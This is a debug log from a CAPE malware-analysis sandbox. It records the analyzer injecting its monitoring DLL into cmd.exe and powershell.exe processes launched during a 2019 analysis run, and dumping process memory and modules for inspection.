2019-08-13 23:48:22,644 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,644 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2244
2019-08-13 23:48:22,644 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,661 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2188
2019-08-13 23:48:22,661 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:22,661 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2232
2019-08-13 23:48:22,661 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\1860_2071873994228514382019
2019-08-13 23:48:22,661 [root] DEBUG: DLL unloaded from 0x72A60000.
2019-08-13 23:48:22,661 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:22,661 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,661 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,661 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,661 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:22,661 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,676 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,676 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,676 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,676 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,676 [root] DEBUG: DLL loaded at 0x734E0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:22,676 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,676 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,676 [root] DEBUG: DLL loaded at 0x74840000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:22,676 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,676 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,691 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:22,691 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2580
2019-08-13 23:48:22,691 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,691 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000194000-0x0000000000290000
2019-08-13 23:48:22,691 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2548
2019-08-13 23:48:22,691 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x00000000FF1E0000, stack from 0x00000000000C6000-0x00000000000D0000
2019-08-13 23:48:22,691 [root] INFO: Added new process to list with pid: 2244
2019-08-13 23:48:22,691 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,691 [root] INFO: Monitor successfully loaded in process with pid 2244.
2019-08-13 23:48:22,707 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,707 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x00000000FF1E0000, stack from 0x00000000001E5000-0x00000000001F0000
2019-08-13 23:48:22,707 [root] INFO: Added new process to list with pid: 2188
2019-08-13 23:48:22,707 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,707 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,707 [root] DEBUG: GetHookCallerBase: thread 2248 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:22,707 [root] INFO: Monitor successfully loaded in process with pid 2188.
2019-08-13 23:48:22,707 [root] INFO: Added new process to list with pid: 2232
2019-08-13 23:48:22,707 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,707 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:22,707 [root] INFO: Monitor successfully loaded in process with pid 2232.
2019-08-13 23:48:22,707 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,707 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:22,707 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,707 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:22,707 [root] DEBUG: Loader: Injecting process 2580 (thread 2584) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,707 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,707 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,723 [root] DEBUG: GetHookCallerBase: thread 2236 (handle 0x0), return address 0x00000000FF1E1D01, allocation base 0x00000000FF1E0000.
2019-08-13 23:48:22,723 [root] DEBUG: GetHookCallerBase: thread 2192 (handle 0x0), return address 0x00000000FF1E1D01, allocation base 0x00000000FF1E0000.
2019-08-13 23:48:22,723 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:22,723 [root] DEBUG: Loader: Injecting process 2548 (thread 2552) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,723 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00000000FF1E0000 main_caller_retaddr 0x00000000FF1E1D01 parent_caller_retaddr 0x00000000FF1E1E7B.
2019-08-13 23:48:22,723 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00000000FF1E0000 main_caller_retaddr 0x00000000FF1E1D01 parent_caller_retaddr 0x00000000FF1E1E7B.
2019-08-13 23:48:22,723 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,723 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:22,723 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF1E0000.
2019-08-13 23:48:22,723 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:22,723 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF1E0000.
2019-08-13 23:48:22,723 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,723 [root] DEBUG: DumpProcess: Module entry point VA is 0x0000000000001DD4.
2019-08-13 23:48:22,723 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:22,739 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2244_918042548228514382019
2019-08-13 23:48:22,739 [root] DEBUG: DumpProcess: Module entry point VA is 0x0000000000001DD4.
2019-08-13 23:48:22,739 [root] INFO: Process with pid 320 has terminated
2019-08-13 23:48:22,739 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:22,739 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,739 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:22,739 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,739 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,739 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:22,739 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,739 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,739 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,739 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2580
2019-08-13 23:48:22,753 [root] DEBUG: Error 2 (0x2) - savePeFileToDisk: There was a problem renaming the file: The system cannot find the file specified.
2019-08-13 23:48:22,753 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,753 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:22,753 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:22,753 [root] DEBUG: Error 2 (0x2) - savePeFileToDisk: There was a problem deleting the file: C:\Users\user\AppData\Local\Temp\CapeOutput.bin: The system cannot find the file specified.
2019-08-13 23:48:22,753 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2548
2019-08-13 23:48:22,753 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2232_939635040228514382019
2019-08-13 23:48:22,753 [root] DEBUG: DLL unloaded from 0x734E0000.
2019-08-13 23:48:22,753 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2836
2019-08-13 23:48:22,753 [root] DEBUG: DumpProcess: Error - Cannot dump image.
2019-08-13 23:48:22,753 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,753 [root] DEBUG: DumpProcess: Module image dump success - dump size 0xb000.
2019-08-13 23:48:22,753 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:22,769 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\eekpksikqu\CAPE\2188_1434345986228514382019
2019-08-13 23:48:22,769 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,769 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,769 [root] DEBUG: Dump-on-API: Dumped module at 0x00000000FF1E0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,769 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,769 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,769 [root] DEBUG: DLL loaded at 0x72A60000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:22,769 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,769 [root] DEBUG: DLL unloaded from 0x000007FEFE5F0000.
2019-08-13 23:48:22,769 [root] DEBUG: DLL loaded at 0x74730000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:22,769 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,786 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2188_1434345986228514382019
2019-08-13 23:48:22,786 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,786 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2984
2019-08-13 23:48:22,786 [root] DEBUG: DumpRegion: Dumped stack region from 0x00000000FF1E0000, size 0xf000.
2019-08-13 23:48:22,786 [root] DEBUG: Loader: Injecting process 2836 (thread 2840) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,786 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000144000-0x0000000000240000
2019-08-13 23:48:22,786 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,786 [root] DEBUG: Dump-on-API: Dumped memory region at 0x00000000FF1E0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,801 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:22,801 [root] INFO: Added new process to list with pid: 2580
2019-08-13 23:48:22,801 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,801 [root] INFO: Monitor successfully loaded in process with pid 2580.
2019-08-13 23:48:22,801 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,801 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,801 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,801 [root] DEBUG: GetHookCallerBase: thread 2584 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:22,801 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:22,801 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,801 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:22,801 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:22,801 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,801 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:22,801 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,801 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,816 [root] DEBUG: Loader: Injecting process 2984 (thread 2988) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,816 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:22,816 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,816 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,816 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:22,816 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,816 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2836
2019-08-13 23:48:22,816 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x0000000000215000-0x0000000000220000
2019-08-13 23:48:22,816 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,832 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:22,832 [root] INFO: Added new process to list with pid: 2548
2019-08-13 23:48:22,832 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,832 [root] INFO: Monitor successfully loaded in process with pid 2548.
2019-08-13 23:48:22,832 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:22,832 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,832 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:22,832 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:22,832 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,832 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,832 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,832 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2580_1934839195228514382019
2019-08-13 23:48:22,848 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2984
2019-08-13 23:48:22,848 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:22,848 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,848 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:22,848 [root] INFO: Notified of termination of process with pid 2232.
2019-08-13 23:48:22,848 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,848 [root] DEBUG: DLL unloaded from 0x72A60000.
2019-08-13 23:48:22,848 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x0000000000286000-0x0000000000290000
2019-08-13 23:48:22,864 [root] INFO: Notified of termination of process with pid 2188.
2019-08-13 23:48:22,864 [root] DEBUG: GetHookCallerBase: thread 2552 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:22,864 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:22,864 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:22,864 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,864 [root] INFO: Added new process to list with pid: 2836
2019-08-13 23:48:22,864 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:22,864 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:22,864 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:22,864 [root] INFO: Monitor successfully loaded in process with pid 2836.
2019-08-13 23:48:22,864 [root] INFO: Notified of termination of process with pid 1304.
2019-08-13 23:48:22,878 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,878 [root] DEBUG: DLL loaded at 0x734E0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:22,878 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2372
2019-08-13 23:48:22,878 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:22,878 [root] INFO: Notified of termination of process with pid 1280.
2019-08-13 23:48:22,878 [root] DEBUG: GetHookCallerBase: thread 2840 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:22,878 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,878 [root] DEBUG: DLL loaded at 0x74840000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:22,878 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:22,894 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,894 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:22,894 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,894 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,894 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2444
2019-08-13 23:48:22,894 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:22,894 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,894 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,910 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:22,910 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,910 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000044000-0x0000000000140000
2019-08-13 23:48:22,910 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,910 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,910 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,910 [root] INFO: Added new process to list with pid: 2984
2019-08-13 23:48:22,926 [root] DEBUG: Loader: Injecting process 2372 (thread 2376) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,926 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,926 [root] INFO: Monitor successfully loaded in process with pid 2984.
2019-08-13 23:48:22,926 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2548_281870665228514382019
2019-08-13 23:48:22,926 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:22,926 [root] DEBUG: GetHookCallerBase: thread 2988 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:22,926 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,926 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:22,941 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,941 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:22,941 [root] DEBUG: Loader: Injecting process 2444 (thread 2340) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,941 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2836_572202230228514382019
2019-08-13 23:48:22,941 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,941 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:22,941 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:22,941 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:22,941 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:22,973 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:22,973 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:22,973 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:22,973 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,973 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,973 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,973 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:22,973 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,973 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:22,973 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:22,987 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,987 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:22,987 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:22,987 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2372
2019-08-13 23:48:22,987 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:22,987 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:23,003 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:23,003 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:23,003 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,003 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:23,003 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:23,003 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2984_546540193228514382019
2019-08-13 23:48:23,003 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2444
2019-08-13 23:48:23,003 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:23,003 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:23,019 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:23,019 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:23,019 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:23,019 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:23,019 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:23,019 [root] DEBUG: DLL unloaded from 0x734E0000.
2019-08-13 23:48:23,019 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:23,035 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:23,035 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:23,035 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:23,035 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:23,051 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x00000000001E5000-0x00000000001F0000
2019-08-13 23:48:23,051 [root] DEBUG: DLL loaded at 0x72A60000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:23,051 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:23,051 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:23,051 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2672
2019-08-13 23:48:23,051 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:23,051 [root] INFO: Added new process to list with pid: 2372
2019-08-13 23:48:23,051 [root] DEBUG: DLL loaded at 0x74730000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:23,065 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:23,065 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:23,065 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:23,065 [root] INFO: Monitor successfully loaded in process with pid 2372.
2019-08-13 23:48:23,065 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
